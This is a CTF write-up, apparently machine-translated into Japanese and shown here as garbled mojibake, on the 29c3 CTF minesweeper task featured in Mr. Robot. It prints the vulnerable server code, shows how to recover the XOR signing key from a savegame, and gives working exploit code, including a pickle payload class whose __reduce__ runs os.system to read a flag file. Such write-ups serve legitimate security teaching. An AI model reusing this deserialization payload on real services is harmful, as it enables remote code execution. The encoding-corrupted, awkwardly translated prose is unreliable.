ããã«ã¡ã¯ãhabrodamãšhabro-lordïŒ
æè¿ãç§ã¯å¶ç¶ãæè¿æµè¡ã®ã·ãªãŒãºããã¹ã¿ãŒã»ãããããã®ãããšããœãŒãã«ç®ãä»ããŸããã ãããžã§ã¯ãã«ããŸã銎æã¿ããªããããã«é¢é£ãã倧èŠæš¡ãªPRãã£ã³ããŒã³ïŒ
ARGã€ãã³ãã®ãããªããšãè¡ãããšããããããã§ãïŒã«ã€ããŠãŸã ç¥ã£ãŠããã®ã§ãé¢çœãCTFã¿ã¹ã¯ã®æ¡ä»¶ãèãããšãïŒ
ãã³ /
æŸåã®ãžã£ã³ã«ããïŒã·ãªãŒãºã®1ã€ã®ããããã§ã¯ããã®ã¿ã¹ã¯ãå®éã«ååšããå¯èœæ§ãæãé«ããšæããŸããã World Wide Webã«ç®ãåãããšãèªåã®ä»®å®ã確èªããŸãããã¿ã¹ã¯ã¯ããã»ã©é£ãããªãïŒ1ã€ã®habrostaã®ãã¬ãŒã ã¯ãŒã¯ã«é£œããæéããªãããïŒããéåžžã«ç¬åµçã§èå³æ·±ãã®ã§ãä»æ¥ã¯å¯ŸåŠããŸãã
ã«ãããã«ãããã«ããïŒ
ãã¬ãã¥ãŒ
äžèšã§èšãã°ããã¬ãç»é¢ããã©ã®ããã«èŠãããïŒãããšããœãŒãïŒã·ãŒãºã³3ããšããœãŒã1ã20ïŒ20-22ïŒ50ïŒã§ã¯ããå°äžãããã³ã°æœèšããèŠèŽè
ã®åã«è¡šç€ºãããŸããã¯ã©ãŠãã®ã³ã³ãã¥ãŒã¿ãŒãäœãã€ã«ãã®é»è²ã®ãããã³ãŒãããµã€ããŒãã³ã¯ã®ãããªã¢ãžã¢äººãšæ··éããŠããŸãã ããã§ã¯ãããªã³ã¢ãŒã¯ãã¢ãšè»ã®ã¿ãŒããã«ã®é»ãšé»ã®èæ¯ã«ããã¢ã·ããã°ãªãŒã³ã®æåã®äžè¯é¡ã«å²ãŸããCTFã³ã³ãã¹ãã®æ
ç±ã®é«ããç±ããªã£ãŠããŸããã GGã¯åå è
ã®1人ã«è¿ã¥ãã圌ã¯ã¿ã¹ã¯ã®1ã€ãåŠçã§ããªããšäžæºãèšããŸããGGã¯25ç§éãã¢ãã¿ãŒãèŠãªããŠãã¿ã¹ã¯ã®ãã¹ãŠã®ç§å¯ã説æããGGã¯ãã©ã°ãããã¯ã¢ãŠãããŸãã çµããã
ã¿ã¹ã¯èªäœã«ã€ããŠïŒããã¯ãã29c3 CTFãïŒ2012ïŒã«ç»å Žãã100ãã€ã³ãïŒå°ãªããšããheheïŒã«çžåœãããœãŒã¹ã³ãŒããç 究ããããã®å®éã®
ã¿ã¹ã¯ã§ãã ããã解決ããã«ã¯ãåºæ¬çãªæå·ã®1éšã®ç¥èãšPythonã®2éšã®ç¥èãå¿
èŠã§ãïŒ1ã€ã¯
pickle.loadsïŒïŒã®ã·ã§ã«ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã®è匱æ§ã確èªãããã1ã€ã¯ããã€ãã®ãšã¯ã¹ããã€ãè¡ãäœæããŸãïŒã
ãŸããæ¡ä»¶ãæ€èšããŸãã
ç¶æ
é転ããã®ã«ååã§ããïŒ ãã®çŽ æµãªã²ãŒã ããã¬ã€ããŠå°ãå·ãããŠãã ãããå¿
èŠã«å¿ããŠãã²ãŒã ãä¿åããŠåŸã§æ¥œããããšãã§ããŸãã XX.XX.XX.XXïŒ1024
<httpïŒ//and_there_site_site_source/minesweeper.py>
èè
ããã®ç¡æ翻蚳ïŒ
é転ã«ããããããŠããŸãããïŒ å°ãæ°ãæ£ãããŠãç§ãã¡ã®å°ããªã²ãŒã ããã¬ã€ããŠãã ãããå¿
èŠã«å¿ããŠãäžæãããšããããç¶è¡ããããšãã§ããŸãã XX.XX.XX.XXïŒ1024
<httpïŒ//and_there_site_site_source/minesweeper.py>
ã¿ã¹ã¯ã§æäŸããããœãŒã¹ã³ãŒãã¯ãã¹ãã€ã©ãŒã®äžã«é ãããŠããŸãã
å®éã«ã¯ããã€ã³ã¹ã€ãŒããšãéã¶ãç°¡åãªã¯ã©ã€ã¢ã³ããµãŒããŒã¢ããªã±ãŒã·ã§ã³ããããŸãã æ·»ä»ããããœãŒã¹ã³ãŒãã¯ãµãŒããŒäžã§å転ããåå è
ã¯ãã²ãŒã ã®ã¯ã©ã€ã¢ã³ãåŽã§ããnetcatã®æ§ãããªcliã€ã³ã¿ãŒãã§ã€ã¹ãä»ããŠã®ã¿ã¢ã¯ã»ã¹ã§ããŸãã ãã®çµæããã©ã°ãååŸããã«ã¯ããã¬ã€ã€ãŒããµãŒããŒãã¡ã€ã«ã·ã¹ãã ã«ã¢ã¯ã»ã¹ããããã«ãèªäœã®ææµ·èã®å®è£
ã§åŒ±ç¹ãèŠã€ããå¿
èŠããããŸãïŒãã©ã°ããŸã ããå¿
èŠãããããšã¯æããã§ãïŒã
ä»ã®äººã®ãœãŒã¹ã³ãŒããæãäžããæã§ã...
ãœãŒã¹ã³ãŒã調æ»
茞å
¥æŒ¬ç©
æ¢ã«è¿°ã¹ãããã«ãPythonæšæºã©ã€ãã©ãªã®ç¥èãå°ãã§ãæã£ãŠãã人ã¯ããœãŒã¹ããã¹ããå«ããã¡ã€ã«ã®2è¡ç®ã«æ¢ã«ããç 究ãã¯ãã«ã®1ã€ãèŠãã§ãããã
import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os
ããã°ã©ã ã¯
pickleã¢ãžã¥ãŒã«ã䜿çšããŸããããã¯ãããããïŒã²ãŒã ã®ç¶æ
ãä¿åããã³ããŒãããæ©äŒã«çæããŠïŒ
piclke.loadsïŒïŒã¡ãœããã®åŒã³åºãã衚瀺ãããããšãæå³ããŸããããã¯ãåãã®ããã«ãä»»æã®ã³ãŒãå®è¡ã«å¯ŸããŠè匱ã§ãã
çè«ã«ããã°ãïŒè±èªã®ãpickleãããã®ïŒ
pickleã©ã€ãã©ãªã䜿çšããŠPythonãªããžã§ã¯ãã
ã·ãªã¢ã©ã€ãºããã³
ãã·ãªã¢ã©ã€ãºããŸããã€ãŸãããã¡ã€ã«ã«é·æä¿åããããã«ãªããžã§ã¯ã
ã®ç¶æ
ããããã·ãŒã±ã³ã¹ïŒç¹å®ã®ã¢ã«ãŽãªãºã -ãããã³ã«ïŒã§ä¿åããŸããããŒããã£ã¹ã¯ããããã¯ãŒã¯ãä»ããäŒéãªã©ãããã³ããã°ã©ã æ¬äœã§ããã«äœ¿çšããããã«åããããã·ãŒã±ã³ã¹ãããã®ç¶æ
ã
埩å
ããŸãã ãããããŸããçè«ïŒPythonã®ããã¥ã¡ã³ãã«ä»£ãã£ãŠïŒã¯ãæªæã®ããè² è·ã§ç¹å¥ã«äœæããããã¡ã€ã«ã®å®è¡ã®ç ç²ã«ãªããªãããã«ããã·ãªã¢ã©ã€ãº
ããããŒã¿ã®
ä¿¡é Œæ§ã確èªããå¿
èŠãããããšãèµ€ãèæ¯ã«å€ªåã§äžå¯§ã«
èŠåããŠããŸãç§ãã¡ã®ç掻ãå°ç¡ãã«ããŸãã
ãã®ç¬éãèŠããŠãã³ãŒããããã«é²ããŠãã ããã
load_encrypt_keyïŒïŒ
def load_encrypt_key(): try: f = open('encrypt_key.bin', 'r') try: encrypt_key = f.read(4096) if len(encrypt_key) == 4096: return encrypt_key finally: f.close() except: pass rand = random.SystemRandom() encrypt_key = "" for i in xrange(0, 4096): encrypt_key += chr(rand.randint(0,255)) try: f = open('encrypt_key.bin', 'w') try: f.write(encrypt_key) finally: f.close() except: pass return encrypt_key
ããã«ãæãããåå
load_encrypt_keyïŒïŒã®é¢æ°ã衚瀺ãããŸãããã®é¢æ°ã¯ããµãŒããŒã«ä¿åãããç§å¯éµã䜿çšããŠãã²ãŒã ãäœãããã§ãã¯/眲åããæ¹æ³ãæã£ãŠããããšã瀺åããŸãã
ãã®é¢æ°ã¯ç§å¯éµãããŠã³ããŒãããã ãã§ããç§å¯éµãååšããå ŽåããµãŒããŒã¯
encrypt_key.binãã¡ã€ã«ãã
ååŸããŸããããã§ãªãå Žåããã®ãããªãã¡ã€ã«ãçæãããã©ã³ãã ãªã·ã³ã°ã«ãã€ãå€ã§è©°ãŸããŸãã ç§å¯éµã®ãµã€ãºïŒ4096ãã€ãã èŠããŠãããŠãã ããã
ã¯ã©ã¹Field
以äžã¯ããã€ã³ã¹ã€ãŒãããã¬ã€ããããã®ãã£ãŒã«ãã説æããã¯ã©ã¹ã§ãã
class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = [] def calc_num(self, point):
ã€ãŸãã
Fieldãã£ãŒã«ãã®ãã£ãŒã«ããèšè¿°ããã³ã³ã¹ãã©ã¯ã¿ãŒïŒ
w-å¹
ã
h-é«ãã
é±å±± -min座æš[ã©ã³ãã ã«çæ]ã®ãªã¹ããããã³openã»ã«ãšã¯ãªã¢ã»ã«ã®åº§æšãå«ããªã¹ã-openããã³ãããã
ãã©ã°ãèšå®ãããŠããŸãïŒãã²ãŒã ã®èªã¿èŸŒã¿ãšä¿åã®æ¹æ³ãå«ãŸããŸãã
ç§ãã¡ã®ä»®å®ã¯çå®ã§ããããšãå€æããŸãã
-piclke.loadsïŒïŒã¯å®éã«ã²ãŒã ãããŒãããããã«äœ¿çšãããŸãã ãããã©ã®ããã«èµ·ãããïŒ
Field.saveïŒïŒã¡ãœããã¯ãã£ãŒã«ãã®ç¶æ
ããããã®ã·ãŒã±ã³ã¹ïŒ
pickle.dumpsïŒïŒã¡ãœããã®ãããã³ã«1ã«
æºæ ïŒã«
ããã·ã¥ãã
Field.loadïŒïŒã¡ãœããã¯ãã¬ãŒã€ãŒã®èŠæ±ã«å¿ããŠãã®ã·ãŒã±ã³ã¹ã埩å
ããã²ãŒã ããã»ã¹ã®ãã®ç¬éãè¿ããŸã圌ãæ¢ããã
説æãçç¥ãããŠããæ¹æ³ã¯ãã²ãŒã ããã»ã¹èªäœã®å®è£
ã®çŽæ¥çãªã³ã³ããŒãã³ãã§ãããã»ãã¥ãªãã£ç 究è
ã®
ããã«ãŒã«åœ¹ç«ã€æ
å ±ã¯å«ãŸããŠããŸããã ååã¯ç®çãåæ ããŠããŸãã
æ¥ç¶ã®åæå
次ã«ãã¯ã©ã€ã¢ã³ããšãµãŒããŒéã®æ¥ç¶ã確ç«ããç§å¯éµãããŒãããŠããµã€ãºã16x16ã§ãé±å±±æ°ã20ã®
Fieldã¯ã©ã¹ã®ã€ã³ã¹ã¿ã³ã¹ãäœæããã³ãŒããåç
§ããŸãã
sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 1024)) sock.listen(10) signal.signal(signal.SIGCHLD, signal.SIG_IGN) encrypt_key = load_encrypt_key() while 1: client, addr = sock.accept() if os.fork() == 0: break client.close() sock.close() f = Field(16, 16, 20)
ãã€ã³ã¹ã€ãŒãã¯ãPCã1å°ãããªãå Žåã§ããã¬ã€ã§ããããšã«æ³šæããŠãã ããã
MINUTE PARANOIïŒä»¥äžã®ã¢ã¯ã·ã§ã³ãå®è¡ããããšã¯ãã·ã§ã«ã¢ããªã±ãŒã·ã§ã³ãåä¿¡ããããã«è匱ãªã¢ããªã±ãŒã·ã§ã³ã§ããŒããéãããšãšåçã§ãããããã£ãŠãããŒããå€éšããã¢ã¯ã»ã¹å¯èœãªå Žåãã¹ã¯ãªããããã¹ãããŠãã€ã³ãã®ã€ã³ã¿ãŒãã§ã€ã¹ã0.0.0.0ãã127.0.0.1ã«å€æŽããããšããå§ãããŸãã
ããã¿ãŒããã«ãŠã£ã³ããŠã§ããã°ã©ã ãå®è¡ããå¥ã®ã¿ãŒããã«ãŠã£ã³ããŠã§
$ nc 0.0.0.0 1024
ãç»é²ãããšããªã¢ãŒããµãŒããŒã§ãã¬ã€ãããšããšåãå¹æãåŸãããŸãã
ããããã£ãŠã¿ãŸãããã åºåã¯èšå€§ã§ãããããã¹ãã€ã©ãŒã§ã®çµæïŒ
ç§ãã¡ã¯äœãæã£ãŠããŸãïŒ
- ãhãæåã®æåã®å
¥ååŸïŒå°ãå©ããå¿
èŠã§ããïŒãã³ãã³ãã®ãªã¹ããå©çšå¯èœã«ãªããŸããïŒ o ã f ã q ã x ã l ã s ã åŸã§ã o-ãªãŒãã³ïŒã»ã«ãéãïŒã f-ãã©ã°ïŒã»ã«ãã¯ãªã¢ïŒã q-çµäºïŒã²ãŒã ãçµäºïŒã x-çµäºïŒã²ãŒã ãçµäºïŒã l-ããŒãïŒã²ãŒã ãããŒãïŒã s-ä¿åïŒã²ãŒã ãä¿åïŒã
- saveã³ãã³ãã®åºåã¯ãbase64æååã®åœ¢åŒã§ãã
- loadã³ãã³ãã®å
¥åãbase64æååã«ããå¿
èŠããããŸãã
ãããïŒ ã³ãŒãã«æ»ããŸãããã
ãã³ãã«ïŒïŒ
æãèå³æ·±ãéšåã«å°éããŸãã-ãŠãŒã¶ãŒå
¥ååŠçé¢æ°ïŒ
ãã³ãã«ïŒïŒ re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$") re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$") def handle(line): if len(line) < 1: return (True, None) if len(line) == 1 and line[0] in "qxQX": return (False, "Bye") global f if line[0] in "foFO": m = re_pos.match(line) if m is None: return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3") x,y = m.groups() x = int(x) y = int(y) if line[0] in "oO": return f.open(y,x) else: return (True, f.flag(y,x)) elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded") elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg))
ç¹°ãè¿ããŸãããéèŠãªç¹ã®ã¿ãèæ
®ããŠãã ããã ã²ãŒã ã®ä¿åãæ
åœããéšåããå§ããŸãããã
elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg))
ä¿åã¯4段éã§è¡ãããŸãã
msg = f.save()
- Fieldãã£ãŒã«ãã®çŸåšã®ç¶æ
ã®ãã³ããä¿åããŸããh = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg
h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg
åä¿¡ããã¡ãã»ãŒãžããsha1ããã·ã¥ãååŸããé£çµæäœãå®è¡ããŸãããœã«ãïŒè¡ " 4n71cH3aT "ïŒãšãšãã«ããã·ã¥ãã¡ãã»ãŒãžã®å
é ã«è¿œå ãããŸããfor i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
-ã¡ãã»ãŒãžã«çœ²åïŒxoråã¡ãã»ãŒãžãã€ãç§å¯éµã®æ¬¡ã®ãã€ããreturn (True, "Your savegame: " + base64.standard_b64encode(msg))
-眲åãããã¡ãã»ãŒãžããbase64æååãè¿ããŸãã ãããã»ãŒãã²ãŒã ã§ãã
ããŠã³ããŒããæ€èšããŠãã ããã
elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded")
ããŒãã¯åæ§ã®ã¢ã«ãŽãªãºã ã«åŸã£ãŠè¡ãããŸãããéã®é åºã§è¡ãããŸãã
- base64æååããã³ãŒãããŸãã
- ç¹°ãè¿ããŸãããxoræäœã䜿çšããŠå
ã®ã¡ãã»ãŒãžãååŸããŸãã
- saltãã¬ãã£ãã¯ã¹ " 4n71cH3aT "ãåãé€ããŸãã
- æ¢åã®ã¡ãã»ãŒãžããã·ã¥ãšæ°ããèšç®ãããããã·ã¥ãæ¯èŒããŸããäžèŽããå Žåã¯
return (True, "Savegame loaded")
return (True, "Unable to load savegame (checksum)")
ãããã§ãªãå Žåã¯ãã§ãã¯ãµã ãšã©ãŒãreturn (True, "Unable to load savegame (checksum)")
ã
ã³ãŒãã®åæãå®äºãããšãã¯ã©ã€ã¢ã³ããšãµãŒããŒã®å¯Ÿè©±ã®ã¡ã€ã³ãµã€ã¯ã«ãç¶ããŸãããããã¯èå³ã®ãªãããšã§ãã
æ»æèšç»
ãããã£ãŠããšã¯ã¹ããã€ããäœæããããã«å¿
èŠãªãã¹ãŠã®æ
å ±ããããŸãã
ããããã®èšç»ã¯æ¬¡ã®ãšããã§ãããã€ããŒããåã蟌ãŸããæªæã®ããä¿åãã¡ã€ã«ãäœæããŠãç®çã®ã·ã§ã«ã³ãŒããå®è¡ãããµãŒããŒã«ãã£ãŒãããŸããããã«ãããã²ãŒã ã®äœæè
ãæå³ããŠããªãã¢ã¯ã·ã§ã³ãå®è¡ããŸãã ãã®ç¶æ³ã§ã®äž»ãªã¿ã¹ã¯ã¯ããµãŒããŒã®ç§å¯éµïŒæ£ç¢º
ã«ã¯ç§å¯éµã®
äžéšã§ããæ£ç¢ºã«èšãã°ããã®å Žåããã£ãŒã«ãã¯å°ãããéµã®4096ãã€ãã¯ãã¹ãŠäœ¿çšãããŸããïŒãä¿åã«çœ²åããããšã§ãã ãããè¡ãã«ã¯ãã²ãŒã ã®ä¿åæ¹æ³ã®æ¬¡ã®è¡ã«åã³ç®ãåããŸãã
msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
䜿çšãããæå·ã¯åçŽãªxoræå·ã§ãããããç§å¯éµ
ãé€ãæ¹çšåŒã®ãã¹ãŠã®ã³ã³ããŒãã³ããç¥ã£ãŠãããããxorãå床å®è¡ããã ãã§ç°¡åã«æœåºã§ããŸãã
ã©ãã§
-é£çµæäœã
ããã«ããã
ä¿å ïŒã²ãŒã ã§åä¿¡å¯èœïŒãš
ãã¬ãã£ãã¯ã¹ ïŒ "
4n71cH3aT "ïŒãåŸãããŸãã
Fieldã«å¯ŸåŠããããšã¯æ®ã£ãŠããŸãã ããŒã«ããªãã¯ãè¡ãã«ã¯ãïŒåœã®ïŒ
Fieldã€ã³ã¹ã¿ã³ã¹ããµãŒããŒã€ã³ã¹ã¿ã³ã¹ãšæ£ç¢ºã«äžèŽããå¿
èŠããããŸãããã®å Žåã
pickle.dumpsïŒïŒã¯ã
Fieldã€ã³ã¹ã¿ã³ã¹ã®ãã£ãŒã«ããå«ãèŸæžããã®å€ã§ã·ãªã¢ã«åããããã§ãã
Fieldã®æ§æãæãåºããŠãã ããïŒ
class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = []
å¹
ãé«ãã¯æ¢ç¥ã§ãããéããã»ã«ãšã¯ãªã¢ãããã»ã«ãå«ããªã¹ãã¯æãç°¡åã«ç©ºã®ãŸãŸã«ãªããŸãïŒã²ãŒã ã®æåã®æ®µéã§ã1åã移åããããšãªãä¿åãããŸãïŒ æå°åº§æšãæ®ããŸã å¯äžã®è§£æ±ºçã¯ããã®ãããªåº§æšãæã€ãªã¹ããäœæããããã«ã²ãŒã ãå®è¡ããããšã§ãã
ç§ã¯ãµãããŒã決ããŠæããŠããŸããã§ããããæ£çŽãªãšããããã¿ãã¬ã®äžã§ç§ã®éè·¯ãèŠãããšãã§ããŸãïŒ
ãã€ã³ã¹ã€ãŒãã®ãã¬ã€æ¹æ³æ³šïŒ oãŸãã¯
fã³ãã³ããå®è¡ãããšãæåã«åã瀺ããã次ã«è¡ã瀺ãããŸãã ããšãã°ã
o3.15ã³ãã³ãã¯ã座æšïŒ
15ã3ïŒãæã€ã»ã«ãéããŸãã

ãã®çµæã次ã®ãããªé±å±±ã®é
åãåŸãããŸããã
mines = [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ]
次ã«ããã€ã³ã¹ã€ãŒãã«å床æ¥ç¶ããŠãã空ã®ãä¿åãååŸããŸãã

ãšã¯ã¹ããã€ããäœæããŸã
ãŸããåœã®ãã£ãŒã«ããå¿
èŠã§ããããã§ã¯ã䟿å®äžã
dumpïŒïŒã¡ãœãããããã«å®è£
ããŸãã
class FieldFake: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = sorted(set(mines)) self.opened = [] self.flagged = [] def dump(self): return pickle.dumps(self.__dict__, protocol=1)
ã¡ãã»ãŒãžã«æ¥ç¶ããããœã«ãããã·ã¥ãåä¿¡ããé¢æ°ãšxoræå·åé¢æ°ãäœæããŸãã
def gamehash(gamepickle): h = hashlib.sha1() h.update(gamepickle) return '4n71cH3aT' + h.digest() + gamepickle def crypt(plain, key): return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ])
ãã€ããŒããçæããããã®ãã¡ã³ã¯ã¿ãŒãäœæããŸãã å
¥åã¯ãµãŒããŒãå®è¡ããå¿
èŠãããã³ãã³ãã§ãããåºåã¯æªæã®ããã¹ãã¬ãŒãžã§ã®å®è£
ã«é©ããæ¢è£œã®ã·ã§ã«ã³ãŒãã§ãã
class Payload(object): def __init__(self, cmd): self.cmd = cmd def __reduce__(self): import os return (os.system, (self.cmd,))
ãã€ã³ãã¯å°ãã-mainïŒïŒãæžãïŒ
def main():
ããç¬åµçãªãã®ïŒã·ã§ã«ãåä¿¡ãããŸã§ïŒãèãåºãããšã¯å¯èœã§ããããã¢ãç°¡åã«ããããã«ã
flag.txtãã¡ã€ã«ã®å
容ãsdoutã®ããŒã1234ã§localhostã«åºåããã³ãã³ããšããŠåçŽãª
ç«ãéžæããŸããã¹ã¯ãªãããå®è¡ããããµãŒããŒäžã®ãã£ã¬ã¯ããªïŒãã®å Žåãæåã«ããã«çœ®ãå¿
èŠããããŸã;ïŒïŒããŸãã幞éãªããšã«ã¹ã¯ãªãããèªã¿åãæš©éããããŸãã
ãŸãšããŠäœæ¥ã確èªããŸãã
ãããŠãã
ã»ãŒãã²ãŒã ïŒäŸå€ïŒãããŒãã§ããŸãã ãïŒãã®ãžã§ãã¬ãŒã¿ã¯
pickle.loadsïŒïŒçªç®ã®äŸå€ãã¹ããŒããã
ïŒãšããèŠåãç§ãã¡ã«æžããã«ãããããã...

...次ã®ã¿ãŒããã«ãŠã£ã³ããŠïŒãã¯ã©ã€ã¢ã³ããåŽïŒã§ã
flag.txtãã¡ã€ã«ã®å
容ãæ声ãæ声ãååŸã§ããŸããã

ãããã«
ã¿ã¹ã¯ã¯éåžžã«çŸããç¬åµçã§ãïŒããã«ãç§ã®æèŠã§ã¯ã圌ã¯Pythonã®æŽç·Žãããåªé
ããšå€æãããã瀺ããŠããŸãïŒã·ãªãŒãºã®ããããã§ã競äºã®åå è
ã«ãã®ãããªå°é£ãåŒãèµ·ãããåå ã¯æããã§ãã ãããã䞻人å
¬ã«ãã圌ã®æ±ºå®<ãœãŒã¹ã³ãŒããã¹ã¯ããŒã«ããã«30åæªæºã¯æ¬åœã«è³è³ãè¶
ããŠããã圌ã¯
Pãš
NPã®å¹³çã®åé¡ã解決ããå¿
èŠããããŸãã-ãã®ã¢ãããŒãã§ã¯ãJãšåãã§ã
æ€èšŒæžã¿ã®ããŒã¿ã®ã¿ãã·ãªã¢ã«åãã
匷åãªæå·åã䜿çšããåªããã²ãŒã ããã¬ã€ãããæªããªä¿åãè¡ããŸããã
ããããŒãããã³ã°ïŒ

èå³æ·±ããªã³ã¯
- CTFtime.org / 29c3 CTF / ãã€ã³ã¹ã€ãŒã-ctftime.org/task/193
- Mr. Robot.S03ã ãMr. Robotãã®æ°ã·ãŒãºã³ã¯ãã€ãŒã¹ã¿ãŒãšãã°ãšããã«ãŒã²ãŒã ã§ãã¡ã³ãåã°ãã-ãHackerã -xakep.ru/2018/01/29/mrrobot-s03
- äžå¯è§£ãªpythonãminesweeperããã£ã¬ã³ãžïŒ MrRobot-reddit.com/r/MrRobot/comments/76kz6m/cryptic_python_minesweeper_challenge